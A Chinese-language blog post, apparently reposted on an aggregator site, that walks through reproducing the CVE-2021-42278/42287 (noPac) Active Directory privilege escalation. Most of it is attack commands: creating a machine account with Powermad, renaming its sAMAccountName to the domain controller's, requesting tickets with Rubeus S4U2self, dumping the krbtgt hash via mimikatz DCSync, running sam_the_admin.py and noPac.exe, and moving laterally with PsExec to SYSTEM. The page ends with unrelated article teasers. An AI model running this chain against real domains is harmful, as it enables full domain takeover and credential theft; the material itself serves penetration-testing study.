CVE-2021-42287CVE-2021-42278 域内提权

倘见玉皇先跪奏:他生永不落红尘

本文首发于先知社区,原创作者即是本人

前言

网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板。知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。

一、漏洞原理

  • CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
  • CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
  • 假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

二、手工复现

1、操作流程

# 1. create a computer account
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose# 2. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose# 3. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose# 4. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap# 5. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose# 6. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]# 7. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt

2、拥有一个普通域账户

net user xxx /domain

在这里插入图片描述

3、尝试攻击

3.1、利用 powermad.ps1 新增机器帐号(域用户默认可以新建机器账户)

命令

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose

在这里插入图片描述

3.2、clear its SPNs(清除SPN信息)

Import-Module .\powerview.ps1
Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose

在这里插入图片描述

3.3、reset the computer name(重设机器名称)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value "xxx" -Attribute samaccountname -Verbose

在这里插入图片描述

3.4、Request TGT (请求TGT)

.\Rubeus.exe asktgt /user:xxx /password:x'x'x'x /domain:xxx.xxx /dc:xx.xx.xx /nowrap

在这里插入图片描述

3.5、Change Machine Account samaccountname(改回原来属性)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose

在这里插入图片描述

3.6、Request S4U2self(获取票据)

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:x.x.x /self /altservice:LDAP/x.x.x. /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID/zCCA/t

在这里插入图片描述

3.7、获取 kbrtgt 用户的 NTLM Hash

lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x

在这里插入图片描述

三、sam-the-admin复现

前置条件:

需要一个域用户

利用过程:

拿主域控

python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用

在这里插入图片描述

漏洞证明

在这里插入图片描述

拿子域控

python3 sam_the_admin.py x.x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用

在这里插入图片描述

漏洞证明

在这里插入图片描述

问题

低版本的kali可能会面临可以拿到票据,但是无法列出命令执行的窗口

四、impacket工具包复现

在这里插入图片描述

五、CVE-2021-42287/CVE-2021-42278 工具利用

1、下载地址

github

2、实际操作

2.1、扫描探测

.\noPac.exe scan -domain x.x.x -user x -pass 'x'

在这里插入图片描述

测试开始之前查看域控根目录提示拒绝访问

dir \x.x.x\c$

在这里插入图片描述

2.2、直接利用(打子域是同样方法)

./noPac.exe -domain x.x -user x -pass 'x' /dc x.x.x /mAccount x /mPassword x /service cifs /ptt

在这里插入图片描述

此时已可以查看域控根目录

ls \x.x.x\c$

在这里插入图片描述

注意问题

如果使用cifs协议的话,票据时效比较短

在这里插入图片描述

如果使用ldap协议的话,票据时效比较长

2.3、深度利用

使用PsExec横向移动

通过noPac.exe使用cifs协议后,可以继续通过PsExec64.exe直接横向移动到域控主机或者域内其他机器

PsExec64.exe \\x.x.x.x -u x\x -i -p x -s cmd.exe

利用过程

在这里插入图片描述

直接提升到system权限,查看IP确实为域控IP

在这里插入图片描述

网络安全感悟

做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/190536.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

嵌入式系统中相关的高质量开源项目

关于GitHub,可能很多人误以为这是互联网人的专属,其实并不是,那上面嵌入式相关的开源项目是有很多的。现分享一些高星开源项目(像RT-Thread、AWTK等大家都熟知的就不介绍了):Avem 项目链接: ht…

Visual Components数字化工厂虚拟仿真软件 衡祖仿真

数字孪生、人工智能、工业互联网、边缘计算这些概念在整个产业里非常的火热,但是,如果这些概念没有“模型”作为基础的话,那么这些概念都只能是空中楼阁无法落地。而仿真技术是利用这些模型在计算机中构建一比一的真实场景,使得在…

如何使用Gitlab搭建属于自己的代码管理平台

大家好,我是Mandy。今天分享的主题内容是如何使用GitLab搭建属于自己的代码管理平台。 为什么会单独分享这篇文章呢,相信在很多的开发同学任职的公司中,都用到了gitlab来做代码管理平台,同时结合GitLab的一些自动化功能&#xff…

均匀光源积分球的应用领域有哪些

均匀光源积分球的主要作用是收集光线,并将其用作一个散射光源或用于测量。它可以将光线经过积分球内部的均匀分布后射出,因此积分球也可以当作一个光强衰减器。同时,积分球可以实现均匀的朗伯体漫散射光源输出,整个输出口表面的亮…

机器学习第9天:决策树分类

文章目录 机器学习专栏 介绍 基本思想 使用代码 深度探索 优点 估计概率 训练算法 CART成本函数 实例数与不纯度 正则化 在鸢尾花数据集上训练决策树 机器学习专栏 机器学习_Nowl的博客-CSDN博客 介绍 作用:分类 原理:构建一个二叉树&#…

ubuntu中用docker部署jenkins,并和码云实现自动化部署

1.部署jenkins docker network create jenkins docker run --name jenkins-docker --rm --detach \--privileged --network jenkins --network-alias docker \--env DOCKER_TLS_CERTDIR/certs \--volume jenkins-docker-certs:/certs/client \--volume jenkins-data:/var/jen…

顺序表(数据结构与算法)

✅✅✅✅✅✅✅✅✅✅✅✅✅✅✅✅ ✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨ 🌿🌿🌿🌿🌿🌿🌿🌿🌿🌿🌿🌿🌿🌿&#x1…

基于Python实现大型家用电器和电子产品在线商店购买数据分析【500010098】

导入模块 import pandas as pd import numpy as np import matplotlib.pyplot as plt获取数据 df pd.read_csv( r"./data/kz.csv",sep,)数据描述 该数据包含2020年4月至2020年11月从大型家用电器和电子产品在线商店购买的数据。 数据说明 event_time&#xff1a…

嵌入式中一文搞懂ARM处理器架构

1、嵌入式处理器基础 典型的微处理器由控制单元、程序计数器(PC)、指令寄存器(IR)、数据通道、存储器等组成 。 指令执行过程一般分为: 取指: 从存储器中获得下一条执行的指令读入指令寄存器;…

六个物联网安全提示,确保设备免受网络威胁

你的物联网安全措施是否足够强大,能够抵御潜在的网络威胁?如果没有,那么是时候提升物联网安全性以更好地保护设备了。 保护物联网(IoT)设备,对于保护个人数据和维护网络的完整性至关重要。 你的物联网安全措施是否足够强大,能够…

巧用SqlServer数据库实现邮件自动发送功能

使用数据库发送邮件需要三个步骤,配置数据库的邮件服务、编写存储过程、设置SQL作业,接下来开始逐步分享: 配置数据库邮件: 在SqlServer左侧菜单栏中,找到管理页签中数据库邮件选项: 接下来开始配置数据库…

四、hdfs文件系统基础操作-保姆级教程

1、启动Hadoop集群 想要使用hdfs文件系统,就先要启动Hadoop集群。 启动集群: start-dfs.sh 关闭集群: stop-dfs.sh 2、文件系统构成 (1)基础介绍 其实hdfs作为分布式存储的文件系统,其构成和Linux文件系统构成差不多一…